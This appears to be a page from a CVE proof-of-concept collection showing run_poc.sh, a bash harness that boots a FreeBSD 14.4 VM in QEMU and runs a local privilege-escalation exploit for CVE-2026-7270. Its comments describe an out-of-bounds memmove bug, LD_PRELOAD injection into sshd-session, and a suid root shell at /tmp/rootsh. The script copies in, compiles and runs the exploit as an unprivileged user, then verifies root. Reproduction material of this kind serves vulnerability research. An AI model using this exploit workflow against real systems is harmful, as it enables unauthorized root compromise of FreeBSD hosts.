5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / run_poc.sh SH
#!/bin/bash
#
# run_poc.sh — Reproduce CVE-2026-7270 on FreeBSD 14.4 under QEMU.
#
# The exploit (exec1_lpe21.c) triggers an operator-precedence bug in
# exec_args_adjust_args() that causes an OOB memmove into the adjacent
# exec_map entry. It injects LD_PRELOAD into sshd-session's environment
# to run a constructor as uid=0 and drop a suid root shell at /tmp/rootsh.
#
# Usage:
#   ./run_poc.sh [disk.qcow2]   # boot VM and run exploit
#   ./run_poc.sh run            # re-run exploit against already-running VM
#   ./run_poc.sh clean          # kill VM and remove work dir
#
# The disk image must be a FreeBSD 14.4-RELEASE amd64 VM with:
#   - root password: freebsd
#   - PermitRootLogin yes in sshd_config
#   - sshd enabled (default)
#
# If no image is given the script looks for one in the sibling
# CVE-2026-4747 directory, then offers to download one from FreeBSD.org.
#
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
WORK_DIR="$SCRIPT_DIR"
SSH_PORT=2225
SSH_PASS=freebsd
SSH_USER=root
UNPRIV_USER=freebsd
ROUNDS=15000

# Canonical source image to copy from if none exists locally
SOURCE_IMAGE="/var/folders/n0/6hrxj4wj1dj6zrcxqp942hyw0000gn/T//fbsd-cve-7270/freebsd.qcow2"
FBSD_IMAGE_URL="https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz"

QEMU_BIN=""
VM_PID_FILE="$WORK_DIR/vm.pid"

# ---------- helpers ----------

die() { echo "ERROR: $*" >&2; exit 1; }

find_qemu() {
    for q in \
        /opt/homebrew/bin/qemu-system-x86_64 \
        /usr/local/bin/qemu-system-x86_64 \
        "$(command -v qemu-system-x86_64 2>/dev/null)" ; do
        [ -x "$q" ] && { QEMU_BIN="$q"; return; }
    done
    die "qemu-system-x86_64 not found. Install with: brew install qemu"
}

check_deps() {
    local missing=()
    command -v sshpass >/dev/null 2>&1 || missing+=(sshpass)
    [ ${#missing[@]} -eq 0 ] && return
    echo "Installing missing deps: ${missing[*]}"
    brew install "${missing[@]}"
}

ssh_cmd() {
    sshpass -p "$SSH_PASS" ssh \
        -o StrictHostKeyChecking=no \
        -o UserKnownHostsFile=/dev/null \
        -o LogLevel=ERROR \
        -p "$SSH_PORT" \
        "[email protected]" "$@"
}

scp_cmd() {
    sshpass -p "$SSH_PASS" scp \
        -o StrictHostKeyChecking=no \
        -o UserKnownHostsFile=/dev/null \
        -o LogLevel=ERROR \
        -P "$SSH_PORT" \
        "$@"
}

wait_for_ssh() {
    echo "[*] Waiting for SSH on port $SSH_PORT..."
    for i in $(seq 1 120); do
        sshpass -p "$SSH_PASS" ssh \
            -o StrictHostKeyChecking=no \
            -o UserKnownHostsFile=/dev/null \
            -o LogLevel=ERROR \
            -o ConnectTimeout=3 \
            -p "$SSH_PORT" \
            "[email protected]" true 2>/dev/null && \
            { echo "[*] SSH up after ${i}s"; return 0; }
        sleep 2
    done
    die "SSH did not come up after 240s"
}

# ---------- disk image ----------

find_or_fetch_image() {
    local dst="$WORK_DIR/freebsd.qcow2"

    if [ -f "$dst" ]; then
        echo "[*] Using existing image: $dst" >&2
        echo "$dst"
        return
    fi

    if [ -f "$SOURCE_IMAGE" ]; then
        echo "[*] Copying image from $SOURCE_IMAGE..." >&2
        cp "$SOURCE_IMAGE" "$dst"
        echo "$dst"
        return
    fi

    echo "[*] No disk image found. Downloading FreeBSD 14.4-RELEASE from freebsd.org..." >&2
    mkdir -p "$WORK_DIR"
    local xz="$WORK_DIR/freebsd-14.4.qcow2.xz"
    local base="$WORK_DIR/freebsd-14.4-base.qcow2"
    curl -fL --progress-bar -o "$xz" "$FBSD_IMAGE_URL"
    xz -d -k "$xz"
    mv "${xz%.xz}" "$base"
    qemu-img resize "$base" 8G

    # Seed ISO for cloud-init first boot
    if command -v genisoimage >/dev/null 2>&1 || command -v mkisofs >/dev/null 2>&1; then
        local isocmd
        isocmd=$(command -v genisoimage 2>/dev/null || command -v mkisofs)
        cat > "$WORK_DIR/user-data" << 'EOF'
#cloud-config
chpasswd:
  list: |
    root:freebsd
  expire: False
ssh_pwauth: True
runcmd:
  - echo 'PermitRootLogin yes' >> /etc/ssh/sshd_config
  - service sshd restart
EOF
        printf 'instance-id: cve-7270\nlocal-hostname: freebsd-cve7270\n' \
            > "$WORK_DIR/meta-data"
        "$isocmd" -output "$WORK_DIR/seed.iso" -volid cidata -joliet -rock \
            "$WORK_DIR/user-data" "$WORK_DIR/meta-data" 2>/dev/null
        SEED_ISO="$WORK_DIR/seed.iso"
    else
        die "genisoimage/mkisofs not found. Install with: brew install cdrtools"
    fi

    cp "$base" "$dst"
    echo "[*] Running cloud-init first boot (this takes ~60s)..." >&2
    boot_vm "$dst" "$SEED_ISO"
    wait_for_ssh
    ssh_cmd "sync"
    kill_vm
    sleep 3
    echo "$dst"
}

# ---------- VM lifecycle ----------

boot_vm() {
    local image="$1"
    local seed="${2:-}"

    find_qemu

    # Kill any existing VM on our port
    if [ -f "$VM_PID_FILE" ]; then
        local old_pid
        old_pid=$(cat "$VM_PID_FILE" 2>/dev/null || true)
        [ -n "$old_pid" ] && kill "$old_pid" 2>/dev/null || true
        rm -f "$VM_PID_FILE"
        sleep 2
    fi

    local qemu_args=(
        -cpu Skylake-Client
        -m 2G
        -smp 4
        -drive "file=$image,format=qcow2,if=virtio"
        -netdev "user,id=net0,hostfwd=tcp::${SSH_PORT}-:22"
        -device virtio-net-pci,netdev=net0
        -nographic
        -no-reboot
    )
    [ -n "$seed" ] && qemu_args+=(-cdrom "$seed")

    echo "[*] Booting FreeBSD 14.4 VM (4 CPUs, 2GB RAM, SSH on port $SSH_PORT)..."
    "$QEMU_BIN" "${qemu_args[@]}" > "$WORK_DIR/vm.log" 2>&1 &
    echo $! > "$VM_PID_FILE"
    echo "[*] QEMU pid $(cat "$VM_PID_FILE"), log: $WORK_DIR/vm.log"
}

kill_vm() {
    if [ -f "$VM_PID_FILE" ]; then
        local pid
        pid=$(cat "$VM_PID_FILE")
        echo "[*] Stopping VM (pid $pid)..."
        kill "$pid" 2>/dev/null || true
        rm -f "$VM_PID_FILE"
    fi
}

# ---------- exploit ----------

run_exploit() {
    local exploit_src="$SCRIPT_DIR/exec1_lpe21.c"
    [ -f "$exploit_src" ] || die "exploit source not found: $exploit_src"

    echo "[*] Copying exploit source to VM..."
    scp_cmd "$exploit_src" "[email protected]:/tmp/exec1_lpe21.c"

    echo "[*] Creating unprivileged user '$UNPRIV_USER' and compiling..."
    ssh_cmd sh -s << HEREDOC
set -e
id $UNPRIV_USER >/dev/null 2>&1 || pw useradd -n $UNPRIV_USER -m -s /bin/sh -w none
cc -O2 -o /tmp/exec1_lpe21 /tmp/exec1_lpe21.c
chmod 755 /tmp/exec1_lpe21
echo "[*] Compiled OK"
HEREDOC

    echo "[*] Running exploit as '$UNPRIV_USER' (up to $ROUNDS rounds)..."
    echo "[*] Watch for ROOT OBTAINED below:"
    echo
    ssh_cmd su -m "$UNPRIV_USER" -c "/tmp/exec1_lpe21 $ROUNDS 0 2>&1"
    echo

    echo "[*] Verifying root..."
    ssh_cmd sh << 'HEREDOC'
if [ -f /tmp/GOT_ROOT ]; then
    echo "=== /tmp/GOT_ROOT ==="
    cat /tmp/GOT_ROOT
    echo "=== /tmp/rootsh ==="
    ls -la /tmp/rootsh
    echo "=== id via rootsh ==="
    /tmp/rootsh -p -c id
else
    echo "[-] /tmp/GOT_ROOT not found — exploit did not succeed"
    exit 1
fi
HEREDOC
}

# ---------- main ----------

case "${1:-boot}" in
    run)
        check_deps
        run_exploit
        ;;
    clean)
        kill_vm
        echo "[*] Removing VM artifacts from $WORK_DIR"
        rm -f "$WORK_DIR/freebsd.qcow2" "$WORK_DIR/vm.pid" "$WORK_DIR/vm.log"
        ;;
    boot|"")
        check_deps
        IMAGE=$(find_or_fetch_image)
        boot_vm "$IMAGE"
        wait_for_ssh
        run_exploit
        kill_vm
        ;;
    *.qcow2|*.img)
        check_deps
        boot_vm "$1"
        wait_for_ssh
        run_exploit
        kill_vm
        ;;
    *)
        echo "Usage: $0 [disk.qcow2 | run | clean]"
        exit 1
        ;;
esac